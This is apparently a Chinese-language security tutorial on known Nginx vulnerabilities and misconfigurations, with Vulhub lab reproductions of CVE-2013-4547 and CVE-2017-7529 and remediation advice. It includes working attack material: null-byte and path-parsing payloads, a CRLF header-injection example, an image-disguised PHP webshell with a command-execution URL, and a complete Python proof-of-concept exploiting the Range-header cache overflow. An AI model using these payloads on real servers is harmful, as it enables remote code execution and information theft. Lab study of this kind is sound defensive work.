Nginx常见安全漏洞

以下是Nginx常见的历史漏洞及配置错误导致的安全问题,按类型和影响分类整理:


一、解析类漏洞

  1. 文件名逻辑漏洞(CVE-2013-4547)
    • 影响版本:Nginx 0.8.411.4.3 / 1.5.01.5.7
    • 原理:错误解析URI中的空格(0x20)和空字节(0x00),导致攻击者可通过构造文件名(如1.jpg[空格][空字节].php)绕过安全检查,使非PHP文件被解析为PHP执行。
    • 利用场景:上传恶意文件后,通过修改请求头触发解析漏洞。
  2. 配置不当导致的PHP解析漏洞
    • 影响范围:与Nginx和PHP版本无关,因cgi.fix_pathinfo默认开启(值为1)。
    • 原理:Nginx将.php结尾的请求直接转发给PHP处理,即使文件路径中.php部分不存在。例如,访问/test.jpg/.php时,test.jpg会被当作PHP解析。
  3. %00截断解析漏洞
    • 影响版本:Nginx 0.5.x、0.6.x、0.7≤0.7.65、0.8≤0.8.37
    • 原理:利用URL中的空字节(%00)截断路径解析,例如访问/test.jpg%00.php,使非PHP文件被解析。
  4. 总结
1
2
3
1.上传 1.jpg[0x20][0x00].php 解析1.jpg[0x20][0x00].php
/test.jpg/.php
/test.jpg%00.php

二、缓存与信息泄露漏洞

  1. 越界读取缓存漏洞(CVE-2017-7529)
    • 影响版本:Nginx 0.5.6~1.13.2
    • 原理:当Nginx作为反向代理并开启缓存时,攻击者可通过构造恶意Range请求头读取缓存文件的头部信息,泄露敏感数据(如后端服务器信息)。
    • 修复建议:升级至安全版本,禁用不必要的缓存功能。

三、配置错误导致的漏洞

  1. CRLF注入漏洞(HTTP响应头注入)

    • 原理:错误使用$uri变量(解码后的URI)导致换行符(%0d%0a)注入响应头,可插入恶意Cookie或XSS代码。例如配置return 302 https://$host$uri时,攻击者通过/%0d%0aSet-Cookie:...篡改响应头。
    • 修复方案:改用$request_uri(未解码的原始URI)。
  2. 目录穿越漏洞

    • 原理:错误配置alias指令导致路径穿越。例如,location /files { alias /home/; }允许通过/files../访问上级目录,造成任意文件下载。
    • 修复方案:确保alias路径与location匹配(如末尾添加/)。
  3. HTTP头覆盖漏洞

    • 原理:子配置块(如location)中的add_header指令覆盖父块配置,导致安全头(如CSP、X-Frame-Options)失效。例如父块设置CSP防御XSS,但子块未继承该配置。
    • 修复方案:在子块中显式继承父块的安全头配置。

四、其他安全配置问题

  1. Host头攻击

    • 风险:未校验Host头可能导致恶意域名指向、缓存污染或SSRF。
    • 修复方案:配置server_name白名单并拦截非法Host请求。
  2. 安全响应头缺失

    • 常见问题:未配置X-Frame-Options(防御点击劫持)、X-Content-Type-Options(禁用MIME嗅探)、Content-Security-Policy(防御XSS)等。
    • 修复示例
      1
      2
      3
      add_header X-Frame-Options "SAMEORIGIN";
      add_header X-Content-Type-Options "nosniff";
      add_header Content-Security-Policy "default-src 'self'";

五.文件名逻辑漏洞(CVE-2013-4547)

以下是针对 Nginx文件名逻辑漏洞(CVE-2013-4547) 的Vulhub复现流程,结合漏洞原理与利用步骤整理:


1. 漏洞原理

  • 影响版本:Nginx 0.8.411.4.3 和 1.5.01.5.7。
  • 漏洞成因:Nginx解析URI时,错误处理空格(0x20)和空字节(0x00),导致非PHP文件(如图片)被当作PHP解析。例如,请求1.jpg[0x20][0x00].php时,Nginx匹配.php$正则,但实际处理文件名1.jpg[0x20](被0x00截断),并发送给PHP-FPM解析,绕过安全限制。

2. 环境搭建

  1. 启动Vulhub漏洞环境

    1
    2
    cd vulhub/nginx/CVE-2013-4547
    docker-compose up -d

    访问 http://your-ip:8080 确认环境启动成功。


3. 漏洞复现步骤

步骤1:上传恶意文件

  • 创建图片马:生成一个包含PHP代码的图片文件(如test.jpg)(直接修改文本文件名后缀即可),内容示例:

    1
    2
    GIF89a
    <?php phpinfo(); ?>

    使用GIF89a头伪装为合法图片,绕过上传检测。

  • 上传文件:通过网页上传接口上传test.jpg文件名需包含空格(如test.jpg )。

步骤2:Burp拦截与修改请求

  1. 拦截上传请求:使用Burp Suite抓取上传数据包。

  2. 修改文件名:在Burp的Hex视图中,将文件名末尾的两个空格0x20 0x20)改为一个空格和一个空字节0x20 0x00)。

    • 示例test.jpg .phptest.jpg\x20\x00.php
  3. 发送修改后的请求:上传成功后,文件路径为/uploadfiles/test.jpg

image-20250327231606210

步骤3:触发解析漏洞

  • 构造恶意请求:访问以下URL,触发Nginx解析漏洞:

    1
    http://your-ip:8080/uploadfiles/test.jpg[0x20][0x00].php

    需通过Burp抓取该请求,并确保路径中包含空格与空字节的十六进制编码。

  • 验证执行:若成功,页面将显示phpinfo()信息,证明非PHP文件被解析为PHP代码。

image-20250327231756601


4. 高级利用(如命令执行)

  • 上传Webshell:将图片马中的代码替换为Webshell(如<?php system($_GET['cmd']); ?>)。
  • 执行命令:访问http://your-ip:8080/uploadfiles/test.jpg%20%00.php?cmd=id,可执行系统命令。

5. 注意事项

  1. 文件名长度:尽量缩短文件名,避免Hex修改时出错。
  2. 环境差异
    • Linux:需确保上传文件名包含空格(如test.jpg )。
    • Windows:系统自动忽略文件名末尾空格,上传普通文件名即可利用。
  3. PHP-FPM配置:需满足security.limit_extensions为空(默认仅允许.php),否则漏洞无法触发。

6. 漏洞修复建议

  1. 升级Nginx至安全版本(≥1.4.4或1.5.8)。
  2. 过滤特殊字符:禁止文件名包含空格或空字节。
  3. 重命名上传文件:避免保留用户输入的文件名。

7. 总结

该漏洞利用Nginx对URI解析的缺陷,通过构造含空格与空字节的文件名绕过安全检测。复现时需注意环境配置与请求修改的细节。更多技术细节可参考Vulhub官方文档及上述复现案例。

六. 越界读取缓存漏洞(CVE-2017-7529)

以下是针对 Nginx越界读取缓存漏洞(CVE-2017-7529) 的Vulhub复现流程及技术分析,结合漏洞原理与利用步骤整理:


1. 漏洞原理

  • 影响版本:Nginx 0.5.6 ~ 1.13.2。
  • 漏洞成因:当Nginx作为反向代理并开启缓存时,缓存文件包含 文件头(含后端服务器信息)+ HTTP返回包头 + HTTP返回包体。攻击者通过构造包含恶意Range头的请求,利用整数溢出漏洞使Nginx读取缓存文件的头部信息(如后端IP、配置敏感信息)。
  • 关键点Range头中的负值偏移导致Nginx越界读取缓存文件的头部内容。

2. 环境搭建

  1. 启动Vulhub漏洞环境
    1
    2
    cd vulhub/nginx/CVE-2017-7529
    docker-compose up -d
    访问 http://your-ip:8080 确认环境正常运行(显示Nginx默认页面)。

3. 漏洞复现步骤

步骤1:获取POC脚本

Vulhub环境自带POC脚本(poc.py),或从搜索结果中复制以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()

headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

步骤2:执行POC脚本

1
python3 poc.py http://your-ip:8080/
  • 脚本逻辑
    1. 获取目标URL的原始响应长度(file_len)。
    2. 计算偏移量 n = file_len + offset(默认offset=605)。
    3. 构造恶意Range头:bytes=-X,-Y,其中 X = nY = 0x8000000000000000 - n,触发整数溢出,使Nginx读取缓存文件头部。

步骤3:验证漏洞利用

  • 成功表现:返回内容中包含缓存文件头信息(如X-Proxy-Cache状态、后端服务器IP或端口)。
  • 示例输出
    1
    2
    3
    4
    5
    KEY: http://127.0.0.1:8081/
    HTTP/1.1 200 OK
    Server: nginx/1.13.2
    Content-Type: text/html
    Connection: close

4. 高级利用与调试

  1. 调整偏移量
    • 若默认offset=605未成功,可手动调整偏移值(如addnum=320),确保Range范围覆盖缓存文件头部。
  2. 多段Range构造
    • 构造多个负值Range(如bytes=-600,-9223372036854774591),尝试读取不同位置的敏感数据。

5. 注意事项

  1. 缓存配置要求
    • Nginx需启用反向代理缓存(默认Vulhub环境已配置)。
    • 若未命中缓存,需多次访问目标URL以生成缓存文件。
  2. 响应状态码
    • 成功利用时返回状态码206(Partial Content),失败则返回200416

6. 漏洞修复建议

  1. 升级Nginx至安全版本(≥1.13.3或1.12.1)。
  2. 关闭代理缓存(非必要场景):
    1
    proxy_cache off;
  3. 限制Range请求范围:通过配置限制Range头的合法性。

7. 总结

CVE-2017-7529的复现核心在于构造恶意Range头触发缓存文件越界读取。利用Vulhub环境可快速验证漏洞,实际渗透中需结合目标配置调整偏移量。修复时建议优先升级版本或关闭高风险功能。更多细节可参考Vulhub官方文档及上述技术分析。

总结

Nginx的安全问题主要分为三类:

  1. 代码解析漏洞(如CVE-2013-4547、CVE-2017-7529)。
  2. 配置不当漏洞(如CRLF注入、目录穿越)。
  3. 安全头缺失或覆盖(如CSP、X-Frame-Options)。

建议措施:定期升级Nginx版本、严格校验配置(如使用$request_uri替代$uri)、启用必要安全响应头,并限制文件上传与解析逻辑。更多细节可参考各漏洞的复现环境(如Vulhub)及官方文档。